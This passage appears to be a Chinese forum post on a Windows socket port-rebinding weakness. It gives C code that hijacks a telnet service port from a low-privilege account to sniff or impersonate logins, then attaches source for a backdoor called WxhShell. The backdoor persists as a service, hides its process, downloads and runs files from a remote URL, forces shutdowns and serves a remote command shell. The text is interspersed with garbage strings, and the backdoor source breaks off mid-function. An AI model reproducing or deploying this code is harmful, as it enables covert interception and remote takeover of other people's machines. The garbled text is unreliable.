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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xHY#" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Iw-3Z'hOX pSlosv(6 saddr.sin_family = AF_INET; jV!9IK;HA. q_|YLs` saddr.sin_addr.s_addr = htonl(INADDR_ANY); {E+o+2L BK16~Wl bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); W.t` XrD@q 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 8KrqJN0\ ?* %JGz_ 这意味着什么?意味着可以进行如下的攻击: yG<`7v AqHH^adzA: 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 r.T!R6v} pN
^^U[ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) =u#xPI0: Nn%[J+F 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 0pu=, K_X10/#b& 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 W~e/3#R\= y6*9, CF 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 `swf~ #nOS7Q#uW 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N-O"y3W} p#eai 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 g~i%*u,Y< j~@Hj$APa` #include CtO `t5 #include <$]=Vaq #include ~Kr_[X:d5 #include 97%S{_2m/ DWORD WINAPI ClientThread(LPVOID lpParam); 9+o`/lk1 int main() sD[G?X { !b0ANIp WORD wVersionRequested; QmpP_eS > DWORD ret; `Z3p( G WSADATA wsaData; _Bp{~-fO BOOL val; T3W?-, SOCKADDR_IN saddr; 6pHn%yE* SOCKADDR_IN scaddr; >)sB#<e int err; '%2q'LqSA SOCKET s; 3{wmKo|_X SOCKET sc; y@ 'm D*z int caddsize; };z[x2l^ HANDLE mt; {xzs{)9|Y4 DWORD tid; $ MN1:ih wVersionRequested = MAKEWORD( 2, 2 ); Ob"48{w$ err = WSAStartup( wVersionRequested, &wsaData ); X{j`H\'L if ( err != 0 ) { /kLG/ry8l: printf("error!WSAStartup failed!\n"); {|;5P.,l return -1; I}&`IUP } t3dvHU&Z: saddr.sin_family = AF_INET; ,1}c% C*,Q z ]@ Q //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 aOj(=s 0KQDw saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
yv@td+-"D saddr.sin_port = htons(23); U0PQ[Y#\ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |V 3AA { l20fA-T
_I printf("error!socket failed!\n"); nsRZy0@$t return -1; =%}++7# } ]CFh0N|(L val = TRUE; -jv%BJJlX //SO_REUSEADDR选项就是可以实现端口重绑定的 ]Ywj@-*q if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) phT|w
H { ? ^EB"{ printf("error!setsockopt failed!\n"); b*7:{FXg return -1; w;RG*rv } o
IUjd //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; OJkiTs{ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 x2^Yvgc- //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 K,VN?t<h [%8t~zg if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) lO Rym:P { vbDSNm#Yv ret=GetLastError(); px!TRbf printf("error!bind failed!\n"); ~F</s. return -1; zjzW;bo( d } m_
|:tU(t listen(s,2); jK[~dY while(1) dW32O2@- { E!~Ok caddsize = sizeof(scaddr); 9rB,7%@EL //接受连接请求 =`8%qh sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); U_ -9rkUa if(sc!=INVALID_SOCKET) b
V)mO@N~w { "kE$2Kg mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 7+,6m!4 if(mt==NULL) -|?I'~[#( { Q\P?[i] printf("Thread Creat Failed!\n"); B{#*PAK= break; ]6`]+& } rRTAWAs%T } FD}hw9VyF@ CloseHandle(mt); Z*Sa%yf } x6, #Jp closesocket(s); '8auj WSACleanup();
h:[8$] return 0; l17sJ! I } ;"*\R5a DWORD WINAPI ClientThread(LPVOID lpParam) n/
\{}9 { O4Wn+$AN SOCKET ss = (SOCKET)lpParam; m+f?+c6 SOCKET sc; X=:|v<E
unsigned char buf[4096]; $.a4Og2 SOCKADDR_IN saddr; i\2d1Z long num; D{Zjo)&tF' DWORD val; F,t
,Ja DWORD ret; ]kJinXHW //如果是隐藏端口应用的话,可以在此处加一些判断 >)/,5VSE //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 .L,xqd[zC saddr.sin_family = AF_INET; H5L~[\
5t saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ZyJdz+L{@V saddr.sin_port = htons(23); bN Ub if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) SDdefB { Ueq*R(9> printf("error!socket failed!\n"); g4NxNjM; return -1; Kt(Z&@ } EcBJ-j6d val = 100; On[:]# if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 3?Ml]=u { \#(3r1( ret = GetLastError(); N;<.::x return -1; nqG9$!k^t } 5t`:=@u if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) -&PiD { CM}1:o<<N ret = GetLastError(); n:hHm, return -1; `+IB;G1 } M;BDo(1 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ~$#"'Tl4J { A!([k}@=j printf("error!socket connect failed!\n"); o80"ZU|= closesocket(sc); |N9::),< closesocket(ss); k4|9'V&1*6 return -1; >900I4]I } YCJ6an while(1) 4!'1o`8vs { % D]vKv~< //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 zEG6T * //如果是嗅探内容的话,可以再此处进行内容分析和记录 -E6#G[JJ //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ,o$F~KPu num = recv(ss,buf,4096,0); L5%t.7B if(num>0) P8tpbdZE- send(sc,buf,num,0); QXXB>gOY5 else if(num==0) J%G
EIe| break; Ls8@@b,t2 num = recv(sc,buf,4096,0); `Yk~2t"V if(num>0) k
lLhi<* send(ss,buf,num,0); uFseO9F.2 else if(num==0) E kb9=/ break; fj2pD Cic } +mM=`[Z`?? closesocket(ss); i$~2pr closesocket(sc); d~bZOy return 0 ; ?hpT"N,hF9 } x-wIgo+ wul$lJ?tE >FO4] ========================================================== 6OBe^/ZRt 8>T#sO?+ 下边附上一个代码,,WXhSHELL Gm,vLs9H$T ^*CvKCS ========================================================== Y7WxV>E F32N e6Y6" #include "stdafx.h" ~%SmH[i !VaKq_W #include <stdio.h> F.zx]][JV #include <string.h> HGuU6@~hu #include <windows.h> YX A|1 #include <winsock2.h> 1J`<'{* #include <winsvc.h> AYhWeI+ #include <urlmon.h> bYPkqitqz _n6ge*,E #pragma comment (lib, "Ws2_32.lib") kF%EJuu #pragma comment (lib, "urlmon.lib") C5}c?=#bdf h |Ofi #define MAX_USER 100 // 最大客户端连接数 t=,ZR}M1` #define BUF_SOCK 200 // sock buffer ?q^o|Y/ #define KEY_BUFF 255 // 输入 buffer z\S#P|; W<f- #define REBOOT 0 // 重启 W''%{A/' #define SHUTDOWN 1 // 关机 ,;3bPjey vY 0EffZ #define DEF_PORT 5000 // 监听端口 6Zr_W#SE `IP?w&k) #define REG_LEN 16 // 注册表键长度 _&(\>{pm #define SVC_LEN 80 // NT服务名长度 <WXGDCj o,-p[1b // 从dll定义API z7vc|Z|
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Ro}7ERA typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g mdJ8$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l*r8.qp typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 4>x$I9^Y! 0+-"9pED>E // wxhshell配置信息 U46qpb7 struct WSCFG { jHPkfwfAF int ws_port; // 监听端口 oI\Lepl* char ws_passstr[REG_LEN]; // 口令 ]%%I=r int ws_autoins; // 安装标记, 1=yes 0=no yL2sce[ char ws_regname[REG_LEN]; // 注册表键名 L3/SIoqd char ws_svcname[REG_LEN]; // 服务名 ]\~s83?X char ws_svcdisp[SVC_LEN]; // 服务显示名 9"W 3t] char ws_svcdesc[SVC_LEN]; // 服务描述信息 M]Kxg; char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {[|je]3v int ws_downexe; // 下载执行标记, 1=yes 0=no G '1K6 char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" OO?;?? char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WyA`V C X-,mNvz }; lU\v8!Ji XRl!~Y| // default Wxhshell configuration ?&`PN<~2z struct WSCFG wscfg={DEF_PORT, e 2"<3 "xuhuanlingzhe", ]>9[}'u 1, N*1{yl76x "Wxhshell", /f*QxNZ,p "Wxhshell", whW%c8 "WxhShell Service", 1
$m[#3 "Wrsky Windows CmdShell Service", o?{-K-'B$ "Please Input Your Password: ", "W b>y*S 1, E%b*MU " http://www.wrsky.com/wxhshell.exe", e0"80"D "Wxhshell.exe" APJVD- }; g`Kh&|GU ;hV-*;> // 消息定义模块 .)g7s? K char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Fv} Uq\v[ char *msg_ws_prompt="\n\r? for help\n\r#>"; z%q)}$O char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; Q)/oU\ char *msg_ws_ext="\n\rExit."; TWeup6k char *msg_ws_end="\n\rQuit."; 1F'x$~ZI char *msg_ws_boot="\n\rReboot..."; u2E}DhV char *msg_ws_poff="\n\rShutdown..."; "$I8EW/1 char *msg_ws_down="\n\rSave to "; )p`zN=t J1u&Ga char *msg_ws_err="\n\rErr!"; MqAN~<l [ char *msg_ws_ok="\n\rOK!"; [*K.9}+G_ ~]Weyb[N char ExeFile[MAX_PATH]; I_s* pT int nUser = 0; c }7gHud HANDLE handles[MAX_USER]; 3Viz0I<% int OsIsNt; GK`U<.[c ~f6Q SERVICE_STATUS serviceStatus; P,s>xM SERVICE_STATUS_HANDLE hServiceStatusHandle; Rn $TYCO P_.zp5> // 函数声明 ?~3Pydrb# int Install(void); #|QA_5 int Uninstall(void); SUb:0GUa int DownloadFile(char *sURL, SOCKET wsh); [{q])P; int Boot(int flag); `D? &)Y void HideProc(void); 1wy?<B.f int GetOsVer(void); }vEMG-sxX int Wxhshell(SOCKET wsl); f;%=S:3 void TalkWithClient(void *cs); Q%QIr int CmdShell(SOCKET sock); blKF78 int StartFromService(void); %$&_! int StartWxhshell(LPSTR lpCmdLine); #2dH2k\F LO;6g~(1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,R}9n@JI^Y VOID WINAPI NTServiceHandler( DWORD fdwControl ); 4C }#lW9 f_z]kA
+H // 数据结构和表定义 !>?*gc.< SERVICE_TABLE_ENTRY DispatchTable[] = W.c>("gC { #'5{
?Cb {wscfg.ws_svcname, NTServiceMain}, .|i/
a%J {NULL, NULL} 7 &iav2q }; &&7&/
1nR\m+{ // 自我安装 {n{-5Y int Install(void) {Fvl7Sh { skF}_ char svExeFile[MAX_PATH]; bAEwjZ HKEY key; p^s:s-"f\ strcpy(svExeFile,ExeFile); pB0 SCS* [ZL<Q // 如果是win9x系统,修改注册表设为自启动 FK@Gd)( if(!OsIsNt) { Z3f}'vr if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V*W H RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G5NAwpZf RegCloseKey(key); m U= 3w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j/F:j5O* RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N_E)f RegCloseKey(key); :)F0~Q return 0; "%w E>E } QsBC[7<jd- } mZ g' } M%OUkcWCk else { 9?uU%9r5P gkDXt^Ob // 如果是NT以上系统,安装为系统服务 Ap> H-/C SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); hX:yn:P~ if (schSCManager!=0) Nv=&gOy= { y>c Yw! SC_HANDLE schService = CreateService _e " ( AG|:mQO schSCManager, *9US>m Vy wscfg.ws_svcname, ,WE2MAjhT wscfg.ws_svcdisp, 2LS91 SERVICE_ALL_ACCESS, ++BQ==@ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , QO %;%p* SERVICE_AUTO_START, zqLOwzMlLx SERVICE_ERROR_NORMAL, or(P?Ro svExeFile, t\O#5mo NULL, F1/BtGvQE NULL, 2tS,q_-= NULL, M
%!O)r#Pn NULL, &X,6v NULL dB8 e ); 5k;}I|rg % if (schService!=0) 0U!_ o2] { ]?_V+F CloseServiceHandle(schService); 7)BK&kpVr CloseServiceHandle(schSCManager); 7! ~)a strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |N|[E5Cn strcat(svExeFile,wscfg.ws_svcname); NW`Mc& if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { IO"q4(&;P4 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,vB nr_D# RegCloseKey(key); k)agbx return 0; ;".]W;I*O } awSi0*d~ } ?>mpUH CloseServiceHandle(schSCManager); .#LHj}u } !Hj
7|5 } fz%e?@>q jWK>=|)=c return 1; *LQt=~ } EV_u8?va ODKS6E1{ // 自我卸载 ]:Pkh./ int Uninstall(void) kZ=yb-~ { rfOrh^ HKEY key; S^r[%l<'n _r`(P#Hy if(!OsIsNt) { uCj)7>}v{M if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `&J=3x RegDeleteValue(key,wscfg.ws_regname); +XAM2uN5_. RegCloseKey(key); v>5TTL~? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oP:/% RegDeleteValue(key,wscfg.ws_regname); ^geY Ay RegCloseKey(key); 8< z return 0; 9w-;d=(Q } > (W\Eh{J } 21hTun"W } j#9n.i
%h else { VW:Voc Hm_&``=' SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ]C>h_,EZc if (schSCManager!=0) Bb7Vf7>
{ =!=DISPo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Pk:b:(4 if (schService!=0) :Y4G^i { +[#^c3x2 if(DeleteService(schService)!=0) { 2Iq*7n:v0 CloseServiceHandle(schService); sX(rJLbD CloseServiceHandle(schSCManager); /Mw0<# return 0; _J0(GuG=~ } Olr'n% } CloseServiceHandle(schService); o6 8;-b'n } Yz>8 Nn '_ CloseServiceHandle(schSCManager); xS_tB)C } xfA@GYCfT } "Wy!,RH qO>A6 return 1; 8%;]]{(B } ]GzfU'fOn| f4^\iZ{`G // 从指定url下载文件 yXro6u?rC int DownloadFile(char *sURL, SOCKET wsh) 2MDY nMy { J!iKW HRESULT hr; u7
{R; QKw char seps[]= "/"; VpB+|%@p char *token; B{NGrC`5) char *file; MQVEO5 char myURL[MAX_PATH]; ?DC;Hk< char myFILE[MAX_PATH]; K}Lu1:~ _%<qZT strcpy(myURL,sURL); _@sSVh$+ token=strtok(myURL,seps); 2bTM0- while(token!=NULL) y{QF#&lW { eX o@3/ file=token; 8LlWXeD9 token=strtok(NULL,seps);
II(P } fUB+9G(Bx ^%/d]Zwb GetCurrentDirectory(MAX_PATH,myFILE); z5t"o ! strcat(myFILE, "\\"); ^j7]> I strcat(myFILE, file); kDWvjT send(wsh,myFILE,strlen(myFILE),0); FMAt6HfU send(wsh,"...",3,0); CDWchY hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s6_[H if(hr==S_OK) !{ /AJb return 0; G":u::hR else .q9i10C return 1; 8[H)tKf8 CI@qT}Y_ } RU,!F99'1 o`\@Yq$. // 系统电源模块 u'aWvN y+ int Boot(int flag) TRQH{O\O { PA>su)N$ HANDLE hToken; /7Ft1f TOKEN_PRIVILEGES tkp; &(rR)cG aTPmW]w6 if(OsIsNt) { S$ 91L OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); t`vIcCXqyl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); };]f 3 tkp.PrivilegeCount = 1; aKC3vR0 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TS;?>J- AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); gR8vF if(flag==REBOOT) { XnV$}T:?X if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $rz'Ybs return 0; rqYx\i? } [USE&_RN else { ah0 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oH kjMqju return 0; [Xo}CU } w1
tg7^(@ } C\;
$RH else { >O}J*4A>+# if(flag==REBOOT) { I xE}v%& if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) o|7
h return 0; f)!7/+9> } Y!lc/[8 else { %%f(R7n if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g'1ASMuR return 0; -K%~2M< } nwPU{4#l< } Shb"Jc_i ouR(l; return 1; ELQc:
t
-2 } -[.A6W dNgjM
Q // win9x进程隐藏模块 g\foBK:GE void HideProc(void) mY,t]#^m7 { iZDZ/hohv r&c31k]E HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ;OfZEy>7 if ( hKernel != NULL ) rLOdQN { k>q}: J9V pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Gmp`3 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JLH,:2 FreeLibrary(hKernel); ;#Pc^Yzc1 } caC(KK#< 5 ]v]^Y'? return; gTjhD( } y<A%& , 1`-u$ // 获取操作系统版本 ?^H1X-; int GetOsVer(void) F(#~.i { CxRhMhvP OSVERSIONINFO winfo; H.8Vm[W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); KK4"H]!. GetVersionEx(&winfo); hCKx%&[^7 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ('VHL! return 1;
KL\]1YX else #8[iqvE return 0; njN]0l{p } , %%}d9 9 ?~Y // 客户端句柄模块 &33.mdBH int Wxhshell(SOCKET wsl) nfbq J { ~ok i s SOCKET wsh; ^HasT4M+x struct sockaddr_in client; `[zd DWORD myID; K0Zq)< XU19+mW=P while(nUser<MAX_USER) ;c;n.o.)/# { *b
>hZkObn int nSize=sizeof(client); Vdz(\-}ao wsh=accept(wsl,(struct sockaddr *)&client,&nSize); g2'Q)w if(wsh==INVALID_SOCKET) return 1; Pqm)OZE? +\ O[)\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Y!tjaL 9D if(handles[nUser]==0) bn$}U.m$- closesocket(wsh); 5Si\hk:o else bG6<=^ nUser++; >)IXc<"wq } ;y{VdT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); j2/3NF5& ttK`*Ng return 0; Jqt&TqX@s } ,LHQ@/}A C ]O;Hlty(g // 关闭 socket Iu -CXc void CloseIt(SOCKET wsh) ]$vJK { <.h\%&'U closesocket(wsh); n*oa J<o% nUser--; F}lgy;=h ExitThread(0); ;5.o;|w?! } (3=(g 7Z;w<b~ // 客户端请求句柄 K~# wvUb void TalkWithClient(void *cs) P"g
Y|}| { kH43 T -*K!JC- SOCKET wsh=(SOCKET)cs; Q l$t char pwd[SVC_LEN]; ($oO,
c'z char cmd[KEY_BUFF]; .2b) rKo~ char chr[1]; P~+?:buqc int i,j; ZQ^kS9N i 47iwb while (nUser < MAX_USER) { J\%<.S> $<UX/a\sH if(wscfg.ws_passstr) { %acy%Sy if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); a9E!2o+, //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4pF U` g= //ZeroMemory(pwd,KEY_BUFF); %}=$HwN) i=0; {tE/Jv $ while(i<SVC_LEN) { k:4?3zJI .'SXRrn&:C // 设置超时 /p
[l(H fd_set FdRead; 6[9E^{(z struct timeval TimeOut; fJCh FD_ZERO(&FdRead); |7Q8WjCQ{m FD_SET(wsh,&FdRead); c4LBlLv4 TimeOut.tv_sec=8; {zGIQG9 TimeOut.tv_usec=0; 7F-b/AdVq int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); #^Dc:1, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); &F}1\6{fL LoG@(g&) if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B-[SUmHr pwd =chr[0]; 'KGY;8<x] if(chr[0]==0xd || chr[0]==0xa) { YF{K9M! pwd=0; JLAg-j2 break; 8m A6l0 } bq4H4?j i++; $EJ*x$ } 2vnzB8"k U!a"r8u|8q // 如果是非法用户,关闭 socket i&,U);T if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); (W/jkm } =DxJt7J1 SEchF"KJQF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); l1cBY{3QD send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); gE=~.P[ZX 16N8h]l while(1) { ioi :,q3?l6 ZeroMemory(cmd,KEY_BUFF); &SN$D5U' CHpDzG>]4 // 自动支持客户端 telnet标准 ,.FTw,< j=0; A?}OOjA while(j<KEY_BUFF) { @@|E1'c7 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); l*Y~h3 cmd[j]=chr[0]; pjj
5 if(chr[0]==0xa || chr[0]==0xd) { Y)u}+Yg cmd[j]=0; 6 qKIz{; break; g&0GO:F` } IVNNiNN*5 j++; x}x@_w } j|G-9E oh@r0`J]x // 下载文件 1yB;"q&Xd if(strstr(cmd,"http://")) { T4!]^_t^ send(wsh,msg_ws_down,strlen(msg_ws_down),0); 4\ OELU if(DownloadFile(cmd,wsh)) Mqh~ 5NM send(wsh,msg_ws_err,strlen(msg_ws_err),0); pO+1?c43 else 3sZK[Y|ax send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jATU b- } J$I1*~I4v else { \[oHt:$do O[L8(+Sn switch(cmd[0]) { iz^wBQ 5ZKnxEW,( // 帮助 |(P;2q4> case '?': { |%V.Lae send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); * Yr-:s9J9 break; ai`:HhE } /3TorB~Y // 安装 >(*jbL]p case 'i': { t!u*6W|@ if(Install()) M<p )@p send(wsh,msg_ws_err,strlen(msg_ws_err),0); w%_BX3GTO else bp$jD send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^r& {V"l] break; iE Oyc59 } |"-,C}O // 卸载 y*(YZ zF case 'r': { v4zd
x) if(Uninstall()) ZkIQ-;wx send(wsh,msg_ws_err,strlen(msg_ws_err),0); XGoy#h else QLUe{@ivc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OWjZ)f/ break; j&Aq^aI } }6bLukv // 显示 wxhshell 所在路径 @ubz?5 case 'p': { tQ~B!j] char svExeFile[MAX_PATH]; Ww(_EW strcpy(svExeFile,"\n\r"); heKI<[8l strcat(svExeFile,ExeFile); f5a](& send(wsh,svExeFile,strlen(svExeFile),0); \+uqP:Ty break; hjG1fgEj } >" .qFn g // 重启 vRq xZN case 'b': { ?},ItJ#>)q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Vw*x3>` if(Boot(REBOOT)) WNb$2q= send(wsh,msg_ws_err,strlen(msg_ws_err),0);
m#nxw else { ifs*-f closesocket(wsh); ! -c*lb ExitThread(0); 2jW>uk4/i } &FrB6y break; ja;5:=8A5 } Z ~(XyaN // 关机 _o.Z`] case 'd': { $P(nh'\ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); hQm4R]a if(Boot(SHUTDOWN)) >u)ZT send(wsh,msg_ws_err,strlen(msg_ws_err),0); $)3PF else { doc closesocket(wsh); 6
b}feEh$! ExitThread(0); >t2b?(h/x } ^I{]Um: break; :6?&FzD` } g8+,wSE // 获取shell ge?-^s4M case 's': { ? sW`**j CmdShell(wsh); v$G*TR<2 closesocket(wsh); !)3s <{k# ExitThread(0); ~It+|X=Kx break; } qv-lO } z4641q5'm // 退出 0xUj#) case 'x': { (u&yb!` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); MNqyEc"" CloseIt(wsh); ;CMC`h9, break; 2w|u)ow) } )[sO5X7'^ // 离开 ,R}KcZG) case 'q': { oRThJ B send(wsh,msg_ws_end,strlen(msg_ws_end),0); htYrv5q=M closesocket(wsh); M5kHD]b WSACleanup(); 1vs>2` DLa exit(1); s66XdM break; HoE.//b } R%_H\-wo } k^5Rf } rg^\BUa-W, /v)! m&6]> // 提示信息 WFB|lNf& if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +wW } @GZa:( } ]a!; `m$ gDNTIOV return; 0 ,Qj: } H.8CwsfP JJ9e{~0I // shell模块句柄 i?_D]BY4 int CmdShell(SOCKET sock) !BQ ELB$0 { 0/P-> n~ STARTUPINFO si; \v3>Eo[ ZeroMemory(&si,sizeof(si)); 8wpwJs&V si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; /N[o [q si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; pL}j
ZTo PROCESS_INFORMATION ProcessInfo; aQ&8fteFR char cmdline[]="cmd"; f+TBs_ CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); yCkW2p]s,K return 0; *o e0= } tct5*.| fFZ`rPb // 自身启动模式 @7l=+`.i int StartFromService(void) S,Wl)\ { K~y9zF{ typedef struct E0)mI)RW. { $Y 4ch ko DWORD ExitStatus; a[P>SqT4` DWORD PebBaseAddress; ~?`9i>3W~ DWORD AffinityMask; 1|~#028 DWORD BasePriority; ksOANLRN ULONG UniqueProcessId; )-9w3W1r ULONG InheritedFromUniqueProcessId; nL+YL } PROCESS_BASIC_INFORMATION; \p@nH%@v 1f@U:<: PROCNTQSIP NtQueryInformationProcess; xH`j7qK. tU)r[2H2 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; i^sDh>$J static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; cfC; eRgq~ ,LW(mdIe( HANDLE hProcess; HzG~I8o(d PROCESS_BASIC_INFORMATION pbi; !|Xl 8lV` C?/r}ly<\ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Mdlt zy=)L if(NULL == hInst ) return 0; >d27[% N}}PlGp$ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $ gr6 g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); cFI7}#,5 